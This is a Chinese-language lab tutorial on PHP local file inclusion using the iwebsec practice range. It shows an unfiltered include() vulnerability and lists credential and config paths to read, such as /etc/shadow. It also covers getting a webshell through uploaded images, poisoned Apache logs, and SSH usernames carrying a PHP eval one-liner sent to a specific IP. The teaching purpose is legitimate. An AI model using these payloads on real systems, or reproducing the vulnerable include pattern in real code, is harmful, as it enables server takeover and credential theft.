文章目录
- 00-文件包含漏洞原理
- 环境
- 01-本地文件包含
- 读取敏感文件信息
- 配合文件上传getshell
- 配合日志文件getshell
- 配合SSH日志
- 配合运行环境
00-文件包含漏洞原理
为什么要文件包含?
为什么会有文件包含漏洞?
因为将被包含的文件设置为变量,用来进行动态调用。正是这种灵活性, 从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。文件包含函数的参数没有经过过滤,可以被攻击者控制,包含其他恶意文件,导致了执行恶意的代码。
什么是文件包含漏洞?
PHP的文件包含可以直接执行包含文件的代码,包含的文件格式不受限制(无论是txt、图片文件还是远程URL,全都作为PHP代码执行),只要能正常执行即可。文件包含函数有
include()
、include_once()
、require()
、require_once()
,它们之间的区别在于include()
和include_once()
在文件包含时即使遇到错误,下面的代码仍继续会执行;而require()
和require_once()
则会直接报错退出程序。【摘自《代码审计——企业级Web代码安全架构》】
环境
靶场:iwebsec,前面的文章有搭建过程。
01-本地文件包含
本地文件包含(local file include,LFI)是指只能包含在本机文件的文件包含漏洞,大多出现在模块加载、模板加载和cache调用的地方。
本关卡源码如下:
<?php
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);//对$filename包含,没有进行限制
}else{
exit();
}
?>
读取敏感文件信息
/etc/passwd(系统用户数据库文件)
/etc/group(组的数据库文件)
/etc/gshadow(存放密码)
/etc/shadow(存放密码)
/etc/profile(系统环境)
/etc/crontab(crontab配置文件)
/etc/httpd/conf/httpd.conf(Apache配置信息)
/etc/my.conf(MYSQL配置信息)
/usr/etc/php.ini(PHP配置信息)
配合文件上传getshell
假设shell.png
这个文件是我们通过文件上传点上传的,但是无法解析,我们可以利用这里的文件包含漏洞解析shell.png
,执行php代码。
访问shell.png
,执行成功
蚁剑连接
类似地,可以上传其他后缀的文件,同样也可以解析
配合日志文件getshell
参考文章
浏览器发起请求
查看日志文件
apache+Linux日志默认路径:/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log
一句话木马被编码了,用burpsuite发包。
网页源代码查看日志【方便看一点】
蚁剑连接
配合SSH日志
这个靶场环境不可以,我在本机自己测试。在web服务器的根目录新建1.php
文件,写入如下代码,即01环境的代码。
日志文件在/var/log/secure
,检查文件权限
修改权限
成功包含
写入一句话木马或者phpinfo()
ssh '<?php @eval($_POST[1]);?>'@8.134.148.36
ssh '<?php phpinfo();?>'@8.134.148.36
蚁剑连接
复现完成,把权限修改回去
配合运行环境
访问,没有权限
只有文件所有者具有读权限
下次遇到类似环境再试试。
剩下的留在下个文章写。